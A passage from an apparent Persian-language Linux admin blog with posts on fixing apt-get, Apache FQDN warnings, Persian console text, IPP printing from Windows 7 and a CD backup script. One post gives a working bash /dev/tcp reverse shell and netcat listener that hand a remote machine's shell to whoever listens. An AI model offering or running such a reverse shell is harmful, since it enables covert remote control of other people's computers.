با apt-get خراب چه کنیم؟

امروز با مشکل عجیبی برخورد کردم.
اومدم بسته ntp را نصب کنم که پیام داد به دلیل یه Dependency امکانش نیست. تعجب کردم. گفتم لابد سری قبل توی update، یکی از مخازن دانلود نشده یا خراب شده. پس رفتم سراغ apt-get update.
با اجرای دستور apt-get update ماجرا عجیب‌تر شد. تعدادی خطای Not found 404 برای بخشی از مخازن اصلی Debian روبرو شدم.
بررسی فایل sources.list و تغییر آن‌ها هم تغییری در نتیجه ایجاد نمی‌کرد.

تنظیمات ترتیب انتخاب نوع فشرده‌سازی فایل‌های Package هم راه بجایی نبرد.

دیگه داشتم ناامید می‌شدم که به خودم گفتم این که دیگه کار نمی‌کنه برم اساسی هرچی از این پکیج‌ها توی سیستم Cache شده را پاک کنم فوق فوقش لازم شد از یکی دیگه از سیستم‌ها فایل‌ها را بر می‌دارم.

اگه نمی‌دونید بدونید که فایل‌های package توی دبیان/ابونتو در مسیر /var/lib/apt/lists/ ذخیره می‌شوند و کنار کش فایل‌های deb نیستند.

بعد با دستور

find -type f ! -name lock -delete 

همه فایل‌های پکیج مونده توی سیستم پاک کردم.

بعد دستور apt-get update را اجرا کردم. به سادگی بدون مشکل اجرا شد و مشکل حل!

شاید بد نباشه هرازگاهی (بخصوص بعد از آپدگرید نسخه مثلا از Wheezy به Jessie یا تغییر mirror مورد استفاده) این پاکسازی را انجام بدین. پیش اومده که این فایل را که پاک کردم و دوباره apt-update زدم یه تعدادی فایل که از قبل مونده بوده و آپدیت نمی‌شده به لیست آپدیت‌ها اضافه شده.

مشکل شناخت نام هاست در آپاچی

کسایی که وب‌کارند و کد وب می‌زننند زیاد پیش میاد که روی سیستم لوکال‌شون آپاچی، این وب سرویس محبوب را نصب کنند تا کارهاشون را بتونند تست کنند. خیلی وقت‌ها میشه که بعد از نصب آپاچی و موقع شروع به کار اون این پیام را می‌بینیم:apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1 for ServerName.
دلیلش چیه؟ دلیلش اینه که تنظیمات FDQN سیستم‌تون درست نیست و سیستم نمی‌تونه FDQN سیستم را اتوماتیک شناسایی کنه.

راه حلش چیه؟
۱. توی تنظیمات آپاچی بگین اسم کامل سرور Default چیه.
۲. تنظیمات FDQNت را درست کنید. در ساده‌ترین حالت برین توی فایل etc/hosts/ و جلوی 127.0.0.1 اسم کامل هاست‌تون (شامل اسم هاست و نام دامنه مثلا sadeq.localdomain) را اضافه کنید. دقت کنید که اسم کامل هاست حتما باید اولین اسم بعد از IP باشه!

مشکل‌های مشابه برای چه ابزارهای دیگه‌ای ممکنه رخ بده؟ Exim که به عنوان MTA پیشفرض در Debian استفاده می‌شه هم ممکنه همین مشکل را داشته باشه و موقع شروع به کار پیام بده که نمی‌تونه FDQN سیستم را شناسایی کنه. روش ۲م این مشکل را هم حل می‌کنه.

پی‌نوشت: FDQN چیه؟ FDQN مخفف Fully Qualified Domain Name است و بعضی وقت‌ها به عنوان نام مطلق هم بهش گفته می‌شه. این اسم نام هاست را به صورت یکتا در سلسه مراتب DNS سرورها مشخص می‌کنه (در اینترنت یا اینترانت). این نام از یه اسم هاست و یه دامنه تشکیل شده. (اسم دامنه می‌تونه تک بخشی مثلا localdomain یا چند بخشی مثلا sadeq.ir باشه)

نوشتن و خواندن به زبان فارسی در کنسول متنی لینوکس

یه زمان‌هایی بود که لینوکس با زبان فارسی مشکل داشت. یه سری آدم مثل بهداد و یه سری شرکت مثل فارسی‌وب شریف اومدن و روی این موضوع کار کردند. الان پشتیبانی لینوکس از زبان فارسی خیلی خیلی عالیه.

برای دیدن و نوشتن فارسی در کنسول متن لینوکس این کارها را انجام بدین:

کنسول را یونی‌کد کنید

برای اینکه کنسول بتونه کاراکترهای غیرلاتین را نمایش بده باید بهش بگین کنسول یونی‌کده.
برای اینکار فایل /etc/default/console/console-setup را ویرایش کنید و

CHARMAP="UTF-8"
CODESET="Arabic"
FONTFACE="Fixed"
FONTSIZE="8x16"

سپس دائمون console-setup را ری‌استارت کنید.

مپینگ کی‌برد را فارسی کنید.

برای اینکه بتونین فارسی تایپ کنید باید کی‌برد ایران را بارگزاری کنید.
برای اینکار فایل /etc/default/keyboard را ویرایش کنید

XKBMODEL="pc105"
XKBLAYOUT="us,ir"
XKBVARIANT=","
XKBOPTIONS="grp:shift_caps_toggle,lv3:ralt_switch,grp_led:scroll"

سپس دائمون keyboard-setup را ری‌استارت کنید.

از bicon استفاده کنید.

برای اینکه عمل تبدیل کاراکترهای فارسی به کاراکترهای Visual انجام بشه باید از bicon استفاده کنید.
bicon فقط با اندازه ترمینال 80×25 کار می‌کنه. پس ممکنه لازم بشه فایل console-setup  را ویرایش کنید و عرض و طول کنسول را ثابت کنید!

با استفاده از shitft-capslock می‌تونید زبان تایپ را عوض کنید!

پ.ن. ممکنه نیاز داشته باشید بسته console-data را هم نصب کنید. با لود کردن keyboard map فارسی (دستور loadkeys) و دادن پارامتر مسیر فایل مپ مثلا /usr/share/keymaps/i386/qwerty/fa.kmap.gz مپینگ دلخواهتون را بارگذاری کنید)

پ.ن: من روی دبیان ۶ تست کردم. محیط متن من موقع بوت میره توی حالت شبه گرافیک و در نتیجه مطمئن نیستم که این روش برای همه کار کنه. اما امتحانش ارزش داره

استفاده از چاپگر سرور لینوکس در ویندوز هفت!

ما یه سرور توی شرکت داریم که سیستم عاملش لینوکس است. چاپگر شرکت به این سیستم وصله و همه وقتی درخواست چاپ دارند باید دستور چاپ را به این چاپگر بفرستند.
تا چند روز قبل برای اینکه کلاینت‌های ویندوزی بتونند از چاپگر استفاده کنند از ترکیب samba و cups استفاده می‌کردیم. بعد از اومدن ویندوز هفت! مشکلی پیش اومده بود. با این ویندوز نمی‌شد به چاپگر وصل شد.
سه شنبه همین هفته بود که محمدرضا راه حل را پیدا کرد. به سادگی به جای استفاده از سمبا از پروتکل ipp (چاپ اینترنتی) می‌شه استفاده کرد. ipp به صورت توکار در cups پشتیبانی می‌شه به چه خوبی!
در قسمت add printer نوع چاپگر را network printer انتخاب میکنیم، و بعد گزینه connect to a printer on Internet or on home or office network را انتخاب می‌کنیم. بعد توی قسمت url اینطوری می‌نویسیم:
http://server:631/PrinterName
فکر کنم واضح باشه که به جای server باید اسم سرور خودتون را بنویسد و به جای PrinterName هم اسم چاپگرتون در cups.
بعد نوع چاپگر را انتخاب می‌کنید. بعد از نصب درایورها، چاپگر آماده استفاده است!

به همین سادگی به همین خوشمزگی!
اگه خواسته باشید که با یوزر/پسورد خاصی به چاپگر وصل بشین که امکانات خاص بهتون داده بشه، لازمه که توی properties چاپگر در برگه Ports‌ کلید ٰConfigure Ports را انتخاب کنید و اونجا یوزر/پسورد مورد نظر را وارد کنید.

برای مدیران سیستم:
راهنمای راه‌اندازی و تنظیم و استفاده از ipp روی linux  و windows را از اینجا می‌تونید بخونید، این راهنما ۳ صفحه است. در صفحه اول سرویس‌دهنده cups را تنظیم می‌کنید. در صفحه دوم یک چاپگر (در راهنما hp laserjet 1020) را به cups‌ معرفی می‌کنید و در صفحه سوم روی کلاینت window xp از چاپگر استفاده می‌کنید. مراحل نصب در windows vista و windows 7 هم نباید خیلی متفاوت باشه. در شرکت چاپگر را برای xp ‌و ویندوز ۷ به سادگی نصب شد.

یک راهنمای خوب هم اینجا ست. خلاصه و مفید.

شل برعکسی! فقط برای لینوکسی‌ها!

بعضی وقت‌ها نیاز میشه که به شل یه لینوکس از راه دور دسترسی پیدا کنید. اما این شل پشت یه فایروالی، natـی، چیزی است که در عمل به شما اجازه دسترسی نمیده.

برای رفع مشکل از یه روشی میشه استفاده کرد به اسم reverse shell!

یه سری ابزار برای اینکار وجود داره اما یه راه سریع هم هست! یه دستور داریم به نام nc که خیلی مفیده! با این دستور می‌تونید یه پورت روی کامپیوتر خودتون باز کنید و هر کی بهش وصل میشه را مشاهده کنید. بعد هر چی شما بگین ارسال بشه برای اون و هرچی هم اون میفرسته شما روی مانیتور ببینید. البته این یه کاربرد این ابزاره که برای کار ما به درد می‌خوره:
روی کامپیوتر خودتون دستور زیر را اجرا کنید:

nc -l -p 8080 -vvv

بعد به دوستتون بگین که روی کامپیوتر خودش این دو تا دستور را اجرا کنه:

exec 5<>/dev/tcp/YOUR_PUBLIC_IP_ADDRESS/8080
cat <&5 | while read line; do $line 2>&5 >&5; done

با اجرای دستور دوم توسط دوستتون شما به یه شل ساده دسترسی پیدا می‌کنید و هر دستوری که تایپ کنید ارسال می‌شه روی کامپیوتر دوستتون و اونجا اجرا می‌شه و خروجیش هم برای شما برمیگرده!
واضح است که به جای YOUR_PUBLIC_IP_ADDRESS باید آی‌پی اینترنت کامپیوتر خودتون را بزارین. که البته باید از اینترنت قابل دسترس باشد. و البته می‌تونید در هر دو طرف ۸۰۸۰ را با یه شماره پورت دیگه عوض کنید!
به همین سادگی به همین خوشمزگی! اینه قدرت لینوکس! حالا ویندوزیا خودشون را بکشند نرم‌افزار team viewer پیدا می‌کنند! 😉
البته شعار گوگل فراموش نشه! not be evil!

پ.ن.۱: این روش را اینجا خوندم
پ.ن.۲: nc در معرفی خودش می‌گه:

nc: TCP/IP swiss army knife

معنی اون هم که واضحه نه؟

ساخت فایل iso و مشاهده محتویات آن در لینوکس

ما یه سرور توی شرکت داریم که کلی فایل روی اون هست. هر چند یه بار هم باید از این اطلاعات پشتیبان تهیه کنیم روی CD و بزاریم توی آرشیو.
چون سرور لینوکسه خیلی از کارها را اتوماتیک کردیم. پشتیبان‌های روزانه/هفتگی با استفاده از cron تهیه می‌شوند و در یک فولدر ذخیره می‌شوند.
برای کپی کردن این اطلاعات روی سی‌دی قبلا دستی می‌رفتیم و اطلاعات را روی سی‌دی write می‌کردیم.
امروز یه اسکریپت ساده نوشتم به این صورت:

#!/bin/bash
today=`date +%Y-%m-%d-%H%M`
genisoimage -vLJ -V "Bakup $today" -o Backup-$today.iso ./cd
isoinfo -Jf -i ./Backup-$today.iso
eject
read -p "Press any key to begin record ... " -n1 -s
eject -T
cdrecord Backup-$today.iso
eject

با این اسکریپت یه فایل iso‌ از محتویات فولد cd ساخته می‌شه با نام روز+ساعتی که دستور اجرا شده.
بعد یه لیست از فایل‌های داخل ایمیج سی‌دی تهیه می‌کنه و نشون میده.
بعد درایو سی‌دی را eject می‌کنه تا بتونیم سی‌دی را بزاریم داخل درایو، بعد که یه کلید زدیم سی‌دی را می‌کشه داخل و شروع می‌کنه به رایت کردن سی‌دی.

این اسکریپت خیلی خیلی ساده است و کلی چک و جنگولک (مثلا چک کردن اینکه این فولدر cd خالی نباشه یا اصلا اضافه کردن اسم فولدر مبدا و …) می‌شه بهش اضافه کرد.

ساده است نه؟